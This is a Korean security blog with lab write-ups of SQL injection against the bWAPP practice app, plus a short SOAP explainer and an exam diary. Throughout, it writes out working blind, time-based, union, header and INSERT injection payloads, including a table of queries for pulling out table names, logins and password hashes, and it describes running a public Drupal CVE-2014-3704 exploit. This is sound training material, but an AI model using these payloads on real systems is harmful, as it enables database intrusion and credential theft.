해당 취약점은 SOAP를 사용하는 웹 서비스의 SQL Injection 취약점이다. 접속하여 Go 버튼을 누르면 We have 100 movie tickets available in our stock.이라는 메시지가 나온다. 100장의 티켓을 가지고 있고 예매가 가능하다는 얘기인 것 같다.

 

 

url에 &action 앞에 ' or 1=1#을 입력해본다.

 

 

입력 결과 100이라는 숫자가 사라졌다. 또한 urlencoding으로 값이 전송되는 것을 url을 통해 확인했다. 그리고 error가 생긴듯 하다. 이번에는 ' or '1'='1을 입력했다.

 

 

 

입력 결과 100이 다시 출력되었다. ' or length(database())=5 and '1'='1을 입력하여 DB명의 길이가 5글자인 것을 확인했다.

 

 

' or length(database())=5 and '1'='1 구문을 변경하여 DB명, 테이블명, 컬럼명, 컬럼 내의 데이터 값을 확인할 수 있다.

블로그 이미지

꼴통보안인

,

SOAP(Simple Object Access Protocol)XML 언어를 이용하여 분산환경에서의 정보 교환을 해주는 프로토콜이다. HTTP, HTTPS, SMTP를 통하여 XML 기반의 메시지가 네트워크에서 교환된다. 언어/OS와 독립적이고, 물리적으로 인접하지 않은 서버에 정보를 요청하고 요청에 대한 응답 값을 확인할 수 있다.

 

SOAP 메시지 구조

  - Envelope : 모든 SOAP 메시지의 루트 요소이며 header, body를 포함.

 

  - header : 필수적이지 않은 항목으로 SOAP 노드로만 처리될 애플리케이션 관련 정보를 전달하는데 사용.

 

  - body : 필수적인 항목으로 메시지의 최종 수신인을 대상으로 하는 정보를 포함.

 

  - falut : SOAP body의 하위 요소이며 오류 보고에 사용.

 

장점

  - 프록시와 방화벽에 구애받지 않고 쉽게 통신 가능.

  - 플랫폼 및 프로그래밍 언어에 독립적.

  - 간단하고 확장 가능.

  - 멀티파트 MIME 구조를 사용하여 첨부를 통합하는 SOAP XML 메시지를 지원.

  - 분산 컴퓨팅 환경을 다루기 위해 설계.

  - 에러 처리에 대한 내용이 기본적으로 내장.

 

단점

  - 다른 기술과 비교해서 상대적으로 느리지만 네트워크 속도의 발전과 성능 최적화 기술의 발전으로 많은 부분 해결됨.

  - REST 연동에 비해 복잡하고 무거움.

  - 개발이 어렵고, 툴이 필요함.

 

'Web Hacking > 이론적인 내용' 카테고리의 다른 글

Command Injection이란?  (0) 2017.09.29
파일 업로드 취약점이란?  (0) 2017.09.22
파일 다운로드 취약점이란?  (0) 2017.09.15
CSRF(Cross Site Request Forgery)란?  (0) 2017.09.08
XSS란?  (2) 2017.09.01
블로그 이미지

꼴통보안인

,

해당 취약점은 앞서 했던 SQL Injection - Blind - Boolean-Based와 흡사하다. 차이점은 기존 Boolean-Based에 사용했던 쿼리문에 sleep함수를 추가하여 페이지의 로딩 중인것을 보고 확인한다. 앞서 했던 취약점과 쿼리문은 거의 동일 하기때문에 따로 설명하진 않겠다. ' or 1=1 and sleep(5)#을 대입하여 확인한다.

 

 

위 그림과 같이 작업 진행중을 의미하는 아이콘이 계속 돌고있다. 저게 돌면 쿼리문이 참이고, 안돌면 거짓이다. 앞서 boolean-based의 쿼리문에 and sleep(5)를 넣어서 확인하면 DB의 정보를 확인할 수 있다.

블로그 이미지

꼴통보안인

,

해당 취약점은 Blind SQL 인젝션의 boolean based이다. SQL Injection 중에서도 가장 노가다(?)스럽고 하나하나 일일이 값을 넣어가며 확인해야 하기 때문에 굉장히 오래걸린다. 

 

 

위와 같이 영화를 검색하는 방식이다. 하지만 DB에 검색하는 영화의 존재 유무만 알려주고 나머지는 알려주지 않는다. 그래서 '(싱글쿼터)를 넣어서 에러를 확인했다.

 

위와 같이 다른 문장을 넣었을 때와는 다르게 에러가 발생한다. 그래서 참을 만들어주는 SQL문(' or 1=1#)을 넣었다.

 

 

참을 넣으니 DB에 정보가 있다고 나온다. 이런식으로 참인 SQL 문을 넣으면 참인 메시지가, 거짓을 넣으면 거짓이라는 메시지나 에러 메시지가 출력된다. 컬럼 갯수를 확인 하기 위해 ' union select 1,2,3,4,5,6,7#을 넣었다. 처음 1부터 해서 7까지 늘리면 7일때 위와 같이 참 메시지가 나온다.

마찬가지로 DB명의 길이를 확인하기 위해 ' or 1=1 and length(databases())=5#을 넣었다.

역시 참 메시지가 나오는 것으로 보아 DB 명은 5글자이다. 그리고 ' or 1=1 and substring(database(),1,1)='b'#을 넣어 DB 명의 첫번째 글자가 b라는 것도 확인했다. 또는 ' or 1=1 and ascii(substring(database(),1,1))=98#을 넣어 b라는 것을 확인할 수 있다. 앞에 문장과 뒤의 문장의 차이는 asii 함수 이용의 차이이다. 값은 일치한다.

다음은 ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#을 입력하여 테이블명 길이를 확인한다.

다음은 ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100# 를 입력하여 테이블 명을 추측한다. ascii 함수를 사용하여 범위를 한정하여 추측하면 첫번째 테이블 명이 b로 시작하게 된다. 이렇게 계속 진행하면 네번째 테이블이 users라는 것을 알게 된다.

users라는 테이블명을 알게 되었다면 해당 테이블의 컬럼명의 길이를 파악하기 위해 ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2#를 입력하여 2글자라는 것을 파악했다.

이제 컬럼명을 추측하기 위해 ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#를 넣어 i로 시작하는 2글자 인 것을 알게 되었다. 계속 추측하면 두번째 컬럼은 login 이라는 사실도 알 수 있다.

이제 login 컬럼에 있는 내용을 파악하기 위해 ' or 1=1 and length((select login from users limit 1,1))=3#을 넣어 컬럼 내용의 길이를 파악했다. 3글자다. 그리고 ' or 1=1 and substring((select login from users limit 1,1),1,1)='b'#을 입력하여 첫번째 글자가 b인 것도 확인했다.  계속 해보면 login 컬럼의 첫번째 내용은 bee다.

이제 두번째 컬럼을 알아보기 위해 ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 2,1))=8#을 입력했다. 두번째 컬럼명은 8글자이다. 컬럼명을 파악하기 위해  ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1)='p'#를 넣어 확인하니 첫번째 글자가 p인 것을 확인했다. 계속 찾아보니 password였다. password 컬럼은 비밀번호 원문이 아닌 해시 값이라는 추측이 가능해진다. 하지만 암호화 되어 있어 40글자를 일일이 하기에는 시간 소모가 너무 심하다. 우선 md5를 사용하였는지 확인하기 위해 ' or 1=1 and md5("bug")=(select password from users where login='bee')#를 넣은 결과 거짓 메시지가 나온다. 다시 sha-1인지 확인하기 위해 ' or 1=1 and sha1("bug")=(select password from users where login='bee')#를 넣으니 참이 나온다. 그래서 sha-1함수를 사용하는 것을 알 수 있다.

 

아래 표는 위에서 사용한 DB 쿼리문을 표로 정리해 놓았다.

 

 쿼리문

내용 

' union select 1,2,3,4,5,6,7#

컬럼 갯수

' or 1=1 and length(databases())=5#

DB명 길이

' or 1=1 and substring(database(),1,1)='b'#

혹은

' or 1=1 and ascii(substring(database(),1,1))=98#

DB명

' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#

테이블명 길이

' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100#

테이블명

or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2#

컬럼명 길이

 ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#

컬럼명

' or 1=1 and length((select login from users limit 1,1))=3#

컬럼 내용 길이 

' or 1=1 and substring((select login from users limit 1,1),1,1)='b'#

컬럼 내용 

' or 1=1 and md5("bug")=(select password from users where login='bee')#

암호화 함수 확인(md5 혹은 sha1)

 

블로그 이미지

꼴통보안인

,

해당 취약점은 사용자의 IP 주소와 User-Agent 값이 저장되는 게시판 구조이다. User-Agent는 서버에서 사용하는 웹 브라우저 버전을 알려주는 HTTP 헤더값 종류 중에 하나다.

 

 

이제 여기서 새로고침을 누르고, 버프 스위트를 이용해 패킷을 캡처했다.

 

 

위와 같이 GET 메소드를 사용하여 정보를 가져온다. 문제가 User-Agent인 만큼 User-Agent에 SQL문을 삽입하기 전에 '(싱글쿼터)를 넣고 에러 유무를 확인했다.

 

 

패킷 전송 결과 200 OK 응답 코드가 왔으나 아래 SQL 에러가 발생했다. 저 결과를 바탕으로 1','2')# SQL문을 User-Agent에 넣었다.

 

 

위와 같이 IP 주소와 User-Agent값이 1과 2로 변경되었다. 이제 버전을 확인하기 위해 2',(select @@version))#을 넣었다.

 

위와 같이 넣고 전송한 결과 아래와 같이 IP 주소 값에 버전을 확인할 수 있었다.

 

 

블로그 이미지

꼴통보안인

,

해당 취약점은 SQLite로 DB를 구성한 게시판에 게시물을 올릴 때, 올린 게시물에 DB의 중요 정보가 입력되어 게시물에 출력되게 만드는 취약점이다.

 

 

'(싱글쿼터)를 입력하면 글이 저장되었다는 말은 나오지만 실제로 웹상에 출력되진 않는다.

 

 

그 외 나머지는 모두 게시물로 저장된다.

 

 

그래서 '(싱글쿼터) 이후에 SQLite에서 사용하는 sql문을 작성했다. 앞서 풀었던 Stored (blog)와 SQL문이 같을거라 생각했다. 그래서 ',(select sqlite_version()))-- 를 넣어서 SQLite의 버전을 확인했다. 확인 결과 아래와 같이 버전이 출력되었다.

 

 

블로그 이미지

꼴통보안인

,

해당 취약점은 블로그 같은 곳에 글을 저장할때 발생하는 sql injection 취약점에 관한 내용이다.

 

 

'(싱글쿼터)를 입력하여 저장하면 에러가 나온다.

 

 

에러가 지금까지 보던 것들과는 다르다. db에 insert문을 이용하여 게시물을 저장하는 방식인데 이미 bee라는 사용자는 지정이 되어있다. date도 글 올리면 올라가는 것으로 보아서는 insert문에 함수로 자동 지정 되어있는것 같다. 그렇다면 insert into (x,x,x) values (date, x, owner)같은 방식으로 구문이 구성되어 있는것 같다. 에러에 나온 'bee')를 지워야 insert문을 알맞게 넣으면서 원하는 정보를 얻을수 있을 것 같다. 그래서 union이 아닌 select문을 이용했다. 우리가 넣는 값이 entry로 들어가기 때문에 ,(콤마)를 이용해서 entry값을 넣고 그 뒤에 owner 컬럼에 select문과 함수를 이용해서 버전을 확인했다. (구문 : ',(select @@version))#)

 

해당 구문을 넣은 결과 owner에 버전이 입력된걸 확인했다.

 

 

 

블로그 이미지

꼴통보안인

,

해당 취약점은 실제 CVE-2014-3704에 등록된 취약점이다. Drupal은 블로그 서비스의 한 종류이다. Drupal에서 확인된 SQL Injection 취약점으로 bWAPP를 통해 가상 페이지를 만들었다.

 

 

위와 같이 Drupal을 누르면 아래와 같이 Drupal 블로그로 접속된다.

 

 

username과 password를 통해 로그인하는 로그인 페이지가 나온다. 하지만 직접 가입하지 않는 이상 로그인이 불가능하다. 그래서 아까 bWAPP 페이지에서 HINT를 준 CVE-2014-3704를 눌러서 CVE에 등록된 해당 취약점 정보를 확인한다.

 

 

여기서 exploit-db:34993에 해당하는 링크로 들어간다. 링크를 들어가게 되면 php로 작성된 exploit 코드가 나온다.

 

 

이것을 칼리 리눅스로 다운로드 받는다. 코드를 받은 후 url을 본인의 bWAPP의 drupal 서비스 url로 바꾼다.

 

 

이제 php파일로 해당 파일을 실행한다. 실행하면 username과 비밀번호가 나온다. username과 비밀번호 모두 admin이다.

 

 

이제 맞는지 로그인을 시도한다. 로그인이 되는걸 확인할 수 있다.

 

 

 

'Web Hacking > bWAPP' 카테고리의 다른 글

[LOW] SQL Injection Stored(SQLite)  (0) 2017.11.19
[LOW] SQL Injection -Stored (Blog)  (0) 2017.11.14
[LOW] SQL Injection (SQLite)  (0) 2017.11.14
[LOW] SQL Injection (Login Form/Hero)  (0) 2017.10.29
[LOW] SQL Injection (AJAX/JSON/jQuery)  (0) 2017.10.29
블로그 이미지

꼴통보안인

,

해당 취약점으로 들어가면 아래와 같이 영화 검색하는 게시판이 나온다. 그냥 search 버튼을 누르면 모든 영화 목록이 나온다.

 

 

그전에 했던 get/search와 post/search와 비슷한 구조인듯 하다. 하지만 사용하는 db가 다르다. get/search와 post/search는 mysql을 사용하지만 해당 문제는 sqlite를 사용한다. sqlite는 요즘 안드로이드에서 많이 사용하는 db이다. 그래서 일반 db에서 사용하는 version, databases등의 함수가 아닌 다른 함수명을 사용한다.

(참조 : https://www.sqlite.org/lang_corefunc.html#sqlite_version)

여기서 많은 목록중에 db버전을 확인하는 함수를 union 쿼리문을 이용해 대입했다.

(' union select all 1,sqlite_version(),3,4,5,6--)

 

 

위와 같이 3.4.2라는 sqlite 버전이 확인되었다.

블로그 이미지

꼴통보안인

,
9회에서 산업기사는 붙었으나 기사는 1점차로 떨어져서 다시 봤습니다ㅜ
이번엔 바빠서 준비기간도 저번보다 짧았구요..  하지만 시험이 저번과 난이도가 비슷했습니다. 다만 법과 일반쪽에서 많이 나왔더라구요. 쓴다고 꾸역꾸역썼는데 합격할지 모르겠네요.
법, coldsite류, tcp연결과정, icmp flooding, 까나리기법과 aslr, ftp, 스텔스스캔 등의 문제가 출제되었어요.
모두 좋은 결과 있었으면 좋겠습니다. 화이팅하세요!
블로그 이미지

꼴통보안인

,